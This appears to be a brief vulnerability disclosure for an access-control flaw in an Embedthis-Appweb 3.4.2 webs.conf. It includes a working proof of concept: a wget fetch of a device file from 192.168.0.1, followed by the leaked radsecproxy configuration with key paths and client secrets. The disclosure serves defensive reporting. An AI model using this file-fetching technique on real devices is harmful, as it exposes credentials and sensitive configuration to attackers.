‘Embedthis-Appweb/3.4.2’ configuration file - webs.conf, lacks access control. An attacker can fetch any file from the /web directory, regardless of its file extension or type. web directory contains sensitive information such as backend code, executables, and symbolic links to /tmp directory.
Example of information leakage from /web directory
➜ /tmp wget -q 192.168.0.1/uploaded/radsecproxy.conf
➜ /tmp file radsecproxy.conf
radsecproxy.conf: ASCII text
➜ /tmp cat radsecproxy.conf
ListenUDP *:1815
PidFile /var/run/tac/radsecproxy.pid
LogLevel 3
LogDestination x-syslog:///LOG_LOCAL2
rewrite delSuffix {
modifyAttribute 1:/^(.*)@(.*)$/\1/
}
tls default {
CACertificatePath /etc/airespider/certs/ca
CACertificateFile /etc/airespider/certs/cacert.pem
CertificateFile /etc/airespider/certs/webaccert.pem
CertificateKeyFile /etc/airespider/certs/webackey.pem
}
client 127.0.0.1 {
type udp
secret secret
}
client [::1] {
type udp
secret secret
}